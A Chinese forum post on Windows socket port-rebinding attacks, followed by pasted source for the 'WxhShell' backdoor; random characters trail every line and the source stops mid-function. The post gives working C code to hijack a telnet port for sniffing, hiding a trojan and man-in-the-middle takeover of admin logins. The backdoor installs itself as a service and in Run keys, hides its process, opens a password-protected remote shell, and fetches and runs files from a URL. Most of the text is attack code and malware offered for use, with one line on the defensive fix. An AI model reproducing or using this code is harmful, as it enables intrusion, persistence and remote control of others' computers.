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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 4 . 7X*1  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 1d< b\P0  
3:iEt (iCI  
  saddr.sin_family = AF_INET; S"&Gutu3o  
>`AK'K8{M  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ~2Wus8X-  
#Nh'1@@  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); {'M<dI$  
-Rpra0o. C  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 <[[yV  
yUnV%@.  
  这意味着什么?意味着可以进行如下的攻击: UQu6JkbLL  
:(A&8<}-6  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 q}Q G<%VR  
pT|s#-}  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) G=zNZ  
OInl?_,,T#  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 (p5q MP]L  
bny5e:= d  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  *\XOQWrF  
I;w!  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 B $g\;$G  
-FJ3;fP&  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 8m{e,o2.  
;}E}N:A  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 D3 C7f'  
fQ5v?(  
  #include rn|]-^ku/  
  #include F%6wdM W  
  #include o-@01_j  
  #include    F-s{#V1=  
  DWORD WINAPI ClientThread(LPVOID lpParam);   y$%oR6 K7-  
  int main() S($/Ov  
  { %C/p+Tg  
  WORD wVersionRequested; @%,~5{Ir  
  DWORD ret; on 7 n4  
  WSADATA wsaData; v":q_w<k  
  BOOL val; :6Nb,Hh~  
  SOCKADDR_IN saddr; ],weqs  
  SOCKADDR_IN scaddr; a<&K^M&  
  int err; <G}Lc  
  SOCKET s; d3c.lD)L9  
  SOCKET sc; Tow=B  
  int caddsize; Rt?CE jy  
  HANDLE mt; Ca0s m  
  DWORD tid;   `$/a-K}  
  wVersionRequested = MAKEWORD( 2, 2 ); 2jyWkAP'  
  err = WSAStartup( wVersionRequested, &wsaData ); SZW_V6\t>  
  if ( err != 0 ) { VNTbjn]  
  printf("error!WSAStartup failed!\n"); Odo)h  
  return -1;  @*eY~  
  } P gA<pfEHE  
  saddr.sin_family = AF_INET; ` Tap0V  
   tBGLEeL/.  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 `TPIc  
<J<"`xKL  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); K80f_ iT 5  
  saddr.sin_port = htons(23); ,,u hEoH  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;8^k=8  
  { s>/Xb2\  
  printf("error!socket failed!\n"); {g.YGO  
  return -1; YIRe__7-NU  
  } n}UJ - \$  
  val = TRUE; TX=894{nGh  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 _p6 r5Y  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 5.\p]>|G1  
  { |aP`hVm  
  printf("error!setsockopt failed!\n"); ;d}>8w&tfy  
  return -1; l6bY!I>  
  } EsKgS\`RZ  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; hV(^Y)f  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Z;G*wM"  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 kf'(u..G  
ESB^"|9  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)  $U?]^  
  { svmb~n&x6  
  ret=GetLastError(); Ef`'r))  
  printf("error!bind failed!\n"); ``CM7|)>`  
  return -1; 7"'RE95  
  } ~-k , $J?7  
  listen(s,2); TnN yth wZ  
  while(1) ]R""L<K%HF  
  { P*!`AWn  
  caddsize = sizeof(scaddr); C~T ,[U  
  //接受连接请求 4*}&nmW  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 2A\b-;4EP  
  if(sc!=INVALID_SOCKET) r<ww%2HTS  
  { Rj";?.R*e  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 71@ eJQ  
  if(mt==NULL) .jD!+wv{9  
  { R%szN.cI  
  printf("Thread Creat Failed!\n"); *F%1~  
  break;  ?^Aj\z>  
  } "|X'qKS(H{  
  } %Lh%bqGz  
  CloseHandle(mt);  ijOp{  
  } , ~ 1+MZ=  
  closesocket(s); O5r8Ghf )  
  WSACleanup(); [ iTP:8  
  return 0; <OEIG 0  
  }   inU5eronuj  
  DWORD WINAPI ClientThread(LPVOID lpParam) x\Q}fk?{t  
  { d3q%[[@  
  SOCKET ss = (SOCKET)lpParam; xmnBG4,f  
  SOCKET sc; F:m6Mf7L  
  unsigned char buf[4096]; D=^&?@k<  
  SOCKADDR_IN saddr; *1EmK.-'u  
  long num; {j$2=0Cec  
  DWORD val; i975)_X(  
  DWORD ret; 4"@;.C""  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ?7NSp2aq2A  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   UK,bfLPt~  
  saddr.sin_family = AF_INET; .L^*9Y0)  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); WkiT,(i  
  saddr.sin_port = htons(23); 2FuV%\p  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /}6I3n  
  { ;\w3IAa|V  
  printf("error!socket failed!\n"); e$s&B!qJ  
  return -1; XnP?hw%  
  } Z5v_- +K  
  val = 100; 8p 4[:M@  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 1*p6UR&  
  { = z mxki  
  ret = GetLastError(); he~8V.$  
  return -1; $\ZWQct  
  } z6U'"T"a  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4tkT\.  
  { \C$e+qb~{  
  ret = GetLastError(); ^>an4UJ t  
  return -1; B]tj0FB`-*  
  } RVA ku  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) _b<;n|^  
  { kKlNhP(  
  printf("error!socket connect failed!\n"); OvT[JpV  
  closesocket(sc); (qFZF7(Xa  
  closesocket(ss); Lan|(!aW  
  return -1; t)j$lmQn  
  } MxpAh<u!vF  
  while(1) n>pJ/l%`  
  { E@C.}37R  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 aUNA` L  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 G4c@v1#%.  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 *KNfPh#wi}  
  num = recv(ss,buf,4096,0); /%;J1 {O  
  if(num>0) BeFyx"NBg  
  send(sc,buf,num,0); D4c'6WGb@  
  else if(num==0) f~W+Rt7o  
  break; 1av#u:jy~>  
  num = recv(sc,buf,4096,0); JL4E`  
  if(num>0) C:No ^nH>  
  send(ss,buf,num,0); =-Hhm($n  
  else if(num==0) .I~:j`K6  
  break; WA2NjxYz  
  } s3sRMB2  
  closesocket(ss); \2; !}  
  closesocket(sc); N4;g"k b  
  return 0 ; ,j XK  
  } O>~@>/#  
|aenQA#  
JYWoQ[ZO#>  
========================================================== Q   
W#U|;@"  
下边附上一个代码,,WXhSHELL p^ (Z  
w#)u+^-  
========================================================== |a03S Zx  
Lp-$Ie  
#include "stdafx.h" &ic'!h"  
sxr,] @  
#include <stdio.h> d8;kM`U  
#include <string.h> i tNuY<"  
#include <windows.h> Fk49~z   
#include <winsock2.h> ,EHLW4v  
#include <winsvc.h> 0?ab'vYcp  
#include <urlmon.h> P<X?  
Khd A;bF  
#pragma comment (lib, "Ws2_32.lib") *g*"bi*  
#pragma comment (lib, "urlmon.lib") +w[ZMk  
gpyio1V>  
#define MAX_USER   100 // 最大客户端连接数 (<_kq;XtN0  
#define BUF_SOCK   200 // sock buffer ^f>c_[fR  
#define KEY_BUFF   255 // 输入 buffer )U|V|yem'  
A5F (-  
#define REBOOT     0   // 重启 .WKJ37od  
#define SHUTDOWN   1   // 关机 9nVb$pfe#  
 ;@k=9o]A  
#define DEF_PORT   5000 // 监听端口 1c QF(j_  
s:l H4B  
#define REG_LEN     16   // 注册表键长度 y@v)kN)Y9\  
#define SVC_LEN     80   // NT服务名长度 {HY3E}YJL  
<ot`0  
// 从dll定义API 'y!qrmMRr  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 5|0/$ SWd*  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Q\s+w){f%  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @_"cMU!  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); nGWy4rY2S  
gdD|'h  
// wxhshell配置信息 oUsfO-dET^  
struct WSCFG { 7:F0?l*  
  int ws_port;         // 监听端口 EGI$=Y  
  char ws_passstr[REG_LEN]; // 口令 _R(ZvsOZ  
  int ws_autoins;       // 安装标记, 1=yes 0=no .lj5pmD  
  char ws_regname[REG_LEN]; // 注册表键名 Y[)mHs2  
  char ws_svcname[REG_LEN]; // 服务名 nHeJ20  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 xO:h[  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ?8kFAf~  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !pU^?Hy=  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ::{\O\w  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" G~C-tAB  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >"1EN5W  
T^] ]z}k  
}; xGr{ad.N  
(KN",u6F  
// default Wxhshell configuration jNx{*2._r  
struct WSCFG wscfg={DEF_PORT, $k )K}U  
    "xuhuanlingzhe", VF11eZ"  
    1, :0(^^6Q\  
    "Wxhshell", C3^3<  
    "Wxhshell", } *) l  
            "WxhShell Service", &Y@),S9  
    "Wrsky Windows CmdShell Service", SVwxK/Fci  
    "Please Input Your Password: ", ]r!|@AWrQ\  
  1, bBML +0a  
  "http://www.wrsky.com/wxhshell.exe", E> pr})^w  
  "Wxhshell.exe" Z] r9lC  
    }; jFg19C{=X  
WFc4(Kl  
// 消息定义模块 >{(c\oMD  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \nP79F0%2  
char *msg_ws_prompt="\n\r? for help\n\r#>"; o=94H7@  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; (rJ-S"^u  
char *msg_ws_ext="\n\rExit."; 3}g>/F ~  
char *msg_ws_end="\n\rQuit."; ,F->*=  
char *msg_ws_boot="\n\rReboot..."; L"vk ^>E6  
char *msg_ws_poff="\n\rShutdown..."; n~ $S  
char *msg_ws_down="\n\rSave to "; aC=2v7*  
!Z>,dN  
char *msg_ws_err="\n\rErr!"; NUb$PT  
char *msg_ws_ok="\n\rOK!"; bA 0H  
ORKJy )*"  
char ExeFile[MAX_PATH]; 9$U>St  
int nUser = 0; zqU$V~5;rG  
HANDLE handles[MAX_USER]; }\H. G  
int OsIsNt; SJ22  
cM9> V2:P  
SERVICE_STATUS       serviceStatus; <,p$eQ)T%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; xe6V7Wi/Tt  
KXx;~HtO  
// 函数声明 gktlwiCZ  
int Install(void); gA_oJW4_  
int Uninstall(void); D1deh=  
int DownloadFile(char *sURL, SOCKET wsh); s \3]0n9  
int Boot(int flag); c8]%,26.  
void HideProc(void); h*KDZ+{)  
int GetOsVer(void); A #SO}c  
int Wxhshell(SOCKET wsl); c)Ef]E\  
void TalkWithClient(void *cs); 9wc\~5{li  
int CmdShell(SOCKET sock); "i&n;8?Y  
int StartFromService(void); K)l*$h&-  
int StartWxhshell(LPSTR lpCmdLine); cahlYv'  
'bZw-t!M@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); n::i$ZUdK  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =; n>#<  
`_/1zL[  
// 数据结构和表定义 _"D J|j  
SERVICE_TABLE_ENTRY DispatchTable[] = }Gb^%1%M  
{ 1$# r)S[*  
{wscfg.ws_svcname, NTServiceMain}, <oP`\m   
{NULL, NULL} PDc4ok`)  
}; $=>:pQbBVX  
=&-.]| t  
// 自我安装 ZR3sz/ulLd  
int Install(void) :T6zT3(")D  
{ tculG|/  
  char svExeFile[MAX_PATH]; s$9ow<oi]  
  HKEY key; sX>|Y3S\U  
  strcpy(svExeFile,ExeFile); g&B7Y|Es  
vm*9xs  
// 如果是win9x系统,修改注册表设为自启动 }Dcpe M?  
if(!OsIsNt) { OmK0-fa/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O*/Utl  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Tf$>^L  
  RegCloseKey(key); _u_|U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Z$Ps_Ik  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $h k_v~zM  
  RegCloseKey(key); >>R)?24,<  
  return 0;  ;1,#rTs  
    } +LWgby4q  
  } # 6?2 2Os  
} N8r+Q%ov  
else { ;$!0pxL)s  
PMQ31f/zf  
// 如果是NT以上系统,安装为系统服务 c}=[r1M*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &,XPMT  
if (schSCManager!=0) zYPvpZV/  
{ `+KLE(]vyH  
  SC_HANDLE schService = CreateService EG=U](8T  
  ( yYk?K<ou  
  schSCManager, -jTK3&5  
  wscfg.ws_svcname, {![E)~  
  wscfg.ws_svcdisp, bDw\;bnG  
  SERVICE_ALL_ACCESS, |QH )A  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , z}VCiS0  
  SERVICE_AUTO_START, [)[?FG9   
  SERVICE_ERROR_NORMAL, +C`vO5\0  
  svExeFile, {iLr$ 89  
  NULL, RKs_k`N0  
  NULL, }?GeU Xhy  
  NULL, 2qj0iRH#N<  
  NULL, 0j#$Swa  
  NULL L<<v   
  ); N9Fu  
  if (schService!=0) HwMe^e;  
  { |])Ko08*tE  
  CloseServiceHandle(schService); TSL/zTLDJ  
  CloseServiceHandle(schSCManager); mp]UUpt  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [.G~5%974  
  strcat(svExeFile,wscfg.ws_svcname); Q6X}R,KA1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -Xgup,}?  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %s%e5hU  
  RegCloseKey(key); QmPHf*w[  
  return 0; k|_ >I  
    }  mxvV~X %  
  } 79lG~BGE  
  CloseServiceHandle(schSCManager); Me,AE^pgL'  
} /8(t:  
} IP 1{gMG  
9JC8OSjJ  
return 1; !.{{QwZ  
} i6h0_q8 >  
6ozBU^n  
// 自我卸载 w$I$xup  
int Uninstall(void) ~Oj-W6-+&,  
{ );F /P0P  
  HKEY key; @(tiPV  
==7=1QfP  
if(!OsIsNt) { 8\Z/mU*4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1\,wV,  
  RegDeleteValue(key,wscfg.ws_regname); g5&,l  
  RegCloseKey(key); b WZ X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j7&0ckN&G  
  RegDeleteValue(key,wscfg.ws_regname); e-{4qt  
  RegCloseKey(key); BA0.B0+"  
  return 0; V :4($  
  } 5HbPS%^.  
} oakm{I|k}  
} L@5g#mSl  
else { _{?/4ZhA\+  
o{QPW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !}uev  
if (schSCManager!=0) h|=&a0  
{ J 9k~cz  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); w.0]>/C  
  if (schService!=0) h5#V,$  
  { le`_    
  if(DeleteService(schService)!=0) { gI~jf- w  
  CloseServiceHandle(schService); G9\@&=  
  CloseServiceHandle(schSCManager); lhV'Q]s@6  
  return 0; .7GAGMNS  
  } ?r6uEZ  
  CloseServiceHandle(schService); fL1EQ)  
  } ze%)fZI0f  
  CloseServiceHandle(schSCManager); HV6'0_R0  
} ]O;Rzq{D(  
} W%7m3/d  
uO`YA]  
return 1; h|'T'l&z  
} IC7S +v  
4mzWNr>fb  
// 从指定url下载文件 7_#i,|]58  
int DownloadFile(char *sURL, SOCKET wsh) t[L'}ig!q  
{ wq&TU'O  
  HRESULT hr; KEj-y+  
char seps[]= "/"; (PCv4:`g  
char *token; 5zBsulRt  
char *file; ~cx/>Hu  
char myURL[MAX_PATH];  ,  
char myFILE[MAX_PATH]; XmoS$ /#"  
)TcW.d6  
strcpy(myURL,sURL); o93A:fc  
  token=strtok(myURL,seps); _7zER6#}  
  while(token!=NULL) d6k`=Hlg  
  { q[SUYb;,  
    file=token; LA^H213N|  
  token=strtok(NULL,seps); D~Y 3\KP  
  } AiO29<  
0TI+6u  
GetCurrentDirectory(MAX_PATH,myFILE); P}QuGy[  
strcat(myFILE, "\\"); 8^N"D7{mO  
strcat(myFILE, file); l0$ +)FKd  
  send(wsh,myFILE,strlen(myFILE),0); COK7 i^  
send(wsh,"...",3,0); u{ .UZTn  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); x~tG[Y2F?  
  if(hr==S_OK) 7MT[fA8^  
return 0; k iCg+@nT  
else \/9uS.Kw  
return 1; ~T[m{8uh  
AcYL3  
} v(t?d  
hQfxz,X  
// 系统电源模块 Q pY:L  
int Boot(int flag) $fY4amX6Z  
{ rX#} 2  
  HANDLE hToken; 5sq#bvfJ o  
  TOKEN_PRIVILEGES tkp; G =+sW  
i=<N4Vx  
  if(OsIsNt) { b&Sk./ J6  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); bg)yl iX  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 9c1n  
    tkp.PrivilegeCount = 1; DPNUm<>  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; bewi.$E{  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 1qb 3.  
if(flag==REBOOT) { Bk 1Q.Un  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .Go3'$'v  
  return 0; 9)QvJ87e@7  
} T%xB|^lf  
else { zRJopcE<  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :R<n{%~  
  return 0; yl%F}kBR  
} 56m|gZcC  
  } ;%#@vXH[Oo  
  else { Ss&R!w9p  
if(flag==REBOOT) { jv]:`$}G\  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) rK2*DuE  
  return 0; 65Ysg}x  
} QP?Z+P<  
else { .Tdl'y:..  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) y@G5I>v  
  return 0; ,bCPO` 45  
} U&/Jh^Yy  
} 9\i,3:Qc  
B" wk:\zC  
return 1; It4J \S  
} Kl$!_$  
s"G6aM  
// win9x进程隐藏模块 ^=wG#!#V"1  
void HideProc(void) ~OEP)c\k  
{ g0^%X9s  
G)?O!(_  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \,E;b{PQo6  
  if ( hKernel != NULL ) J%;TK6  
  { R)#D{/#FW  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 3 $Uv  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [Qv%  
    FreeLibrary(hKernel); c`y[V6q9  
  } 2ZB'WzH.X  
-[x^z5Ee`  
return; _'dsEF  
} Ne.W-,X^cL  
}yU,_:  
// 获取操作系统版本 /"Om-DK%  
int GetOsVer(void) h8O[xca/~  
{ @B~/0 9  
  OSVERSIONINFO winfo; h]c-x(+  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Vl?R?K=`~J  
  GetVersionEx(&winfo); OlFls 8#>  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) q'M-a tE.  
  return 1; oHbEHS61  
  else ' d1E~A  
  return 0; #Qy*zU#9  
} >\$qF  
JB'q_dS}  
// 客户端句柄模块 nKh._bvfX  
int Wxhshell(SOCKET wsl) kkFE9:[-c&  
{ M>0=A  
  SOCKET wsh; ][6$$ Lz  
  struct sockaddr_in client; zpIl'/ i  
  DWORD myID; yI bz\3  
M:nXn7)+  
  while(nUser<MAX_USER) |z|5j!Nfh  
{ l0u6nGkh  
  int nSize=sizeof(client); +vLuzM-  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 'sY>(D*CQ  
  if(wsh==INVALID_SOCKET) return 1; ^,b*.6t  
$[[6N0}*:  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); or ~o'  
if(handles[nUser]==0) B.K"1o  
  closesocket(wsh); VE6T&fz`  
else yK0Q,   
  nUser++; Yk:fV&]  
  } 5}~*,_J2Z  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); oFHVA!lqe  
9ToM5oQ  
  return 0; J~DP*}~XK  
} 7~eo^/Pb S  
-^$CGRE6A  
// 关闭 socket bP Er+?fu  
void CloseIt(SOCKET wsh) * C~  
{ 23y7l=.b/  
closesocket(wsh); djPr 4Nog  
nUser--; v (=fV/  
ExitThread(0); rc*&K#? B  
} RV^2[Gdi  
4G@vO {$  
// 客户端请求句柄 zY\v|l<T  
void TalkWithClient(void *cs) Cr4shdN34  
{ Xe*@`&nv@  
R?>a UFM  
  SOCKET wsh=(SOCKET)cs; -t?S:9 [w  
  char pwd[SVC_LEN]; q uv`~qn  
  char cmd[KEY_BUFF]; bI@+Or  
char chr[1]; W]_+3qvZ  
int i,j; LZM[Wg#  
.ymR%X_k  
  while (nUser < MAX_USER) { *2 4P T7  
\Q*3/_}G  
if(wscfg.ws_passstr) { f&ZxG,]H i  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >('L2]4\v  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :{LVS nG  
  //ZeroMemory(pwd,KEY_BUFF); &.=d,XKN  
      i=0; U-3KuR+0  
  while(i<SVC_LEN) { /zuU  
'7wI 2D  
  // 设置超时 L,waQk / @  
  fd_set FdRead; ^gH.5L0]gH  
  struct timeval TimeOut; phl5E:fIKx  
  FD_ZERO(&FdRead); }^?dK3~q  
  FD_SET(wsh,&FdRead); 68Wm=j.m  
  TimeOut.tv_sec=8; 6H VS0  
  TimeOut.tv_usec=0; W8yr06{]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 2[9hl@=%  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (~}yt.7K  
20 zIO.&o  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); B HoZ}1_  
  pwd=chr[0]; %9-).k  
  if(chr[0]==0xd || chr[0]==0xa) { =NF},j"  
  pwd=0; 05DK-Wh?  
  break; >B skw2  
  } '8i np[_  
  i++; \0(QO8.  
    } Puily9#  
uMPJ  
  // 如果是非法用户,关闭 socket 9:fVHynr  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); > g8;x#  
} z:RwCd1\  
M)I&^mm39  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \KLWOj%  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +%?_1bGX>  
Bu>srX9f  
while(1) { )f(#Fn  
-:a 9'dT  
  ZeroMemory(cmd,KEY_BUFF); iIcO_ZyA  
"] kaaF$U%  
      // 自动支持客户端 telnet标准   V`S6cmwdc\  
  j=0; GZXUB0W\@)  
  while(j<KEY_BUFF) { l K}('7\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L;fhJ~ r  
  cmd[j]=chr[0]; O#Xq0o  
  if(chr[0]==0xa || chr[0]==0xd) { I#Iu:,OT  
  cmd[j]=0; 7,j}]  
  break; 1reJ7b0  
  } Q++lgVh)E  
  j++; R7ZxS  
    } !(uyqplTk  
)3'/g`c  
  // 下载文件 8$OE<c?#5n  
  if(strstr(cmd,"http://")) { 2!7wGXm~U  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); yFl@ z  
  if(DownloadFile(cmd,wsh)) B\KvKT|\  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); , YTuZS  
  else `Kpn@Xg  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Sw%=/g  
  } opte)=]J  
  else { }j+ZF'#  
iZg v VH  
    switch(cmd[0]) { 9N5 &N3  
  !j%vUe;t  
  // 帮助 @,i:fY  
  case '?': { MHI0>QsI  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); d01bt$8>  
    break; 4@/[aFH  
  } h[ba$S,T  
  // 安装 z1T.\mzfX  
  case 'i': { $w)yQ %  
    if(Install()) 'r(}7>~fC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -XkCbxZ  
    else !RFlv  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,K+K`"Oy  
    break; (/v(.t  
    } 9{'GrL  
  // 卸载 ^7Z)/c`"  
  case 'r': { jU@qQ@|  
    if(Uninstall()) $ze%! C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -PB m@}*  
    else 80![aj}z4G  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dE.R$SM  
    break; flVQG@  
    } p#qQGJe  
  // 显示 wxhshell 所在路径 #=OKY@z/  
  case 'p': { :nC Gqg  
    char svExeFile[MAX_PATH]; xl5mI~n_~  
    strcpy(svExeFile,"\n\r"); +]Po!bN@@  
      strcat(svExeFile,ExeFile); ht!o_0{~  
        send(wsh,svExeFile,strlen(svExeFile),0); S'9T>&<Kn  
    break; //3iai  
    } FU;Tv).  
  // 重启 ^0pd- n@pn  
  case 'b': { VI74{='=  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :JV= Kt  
    if(Boot(REBOOT)) Owo2DsT t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t*NZ@)>  
    else { w;&J._J  
    closesocket(wsh); GXYmJ4wR  
    ExitThread(0); 4~P{H/]  
    } A'c0zWV2  
    break; _o'ii VDuD  
    } -,uTAk0+@  
  // 关机 qTj7mUk  
  case 'd': { 1 }Tbp_  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); + Hc[5WL  
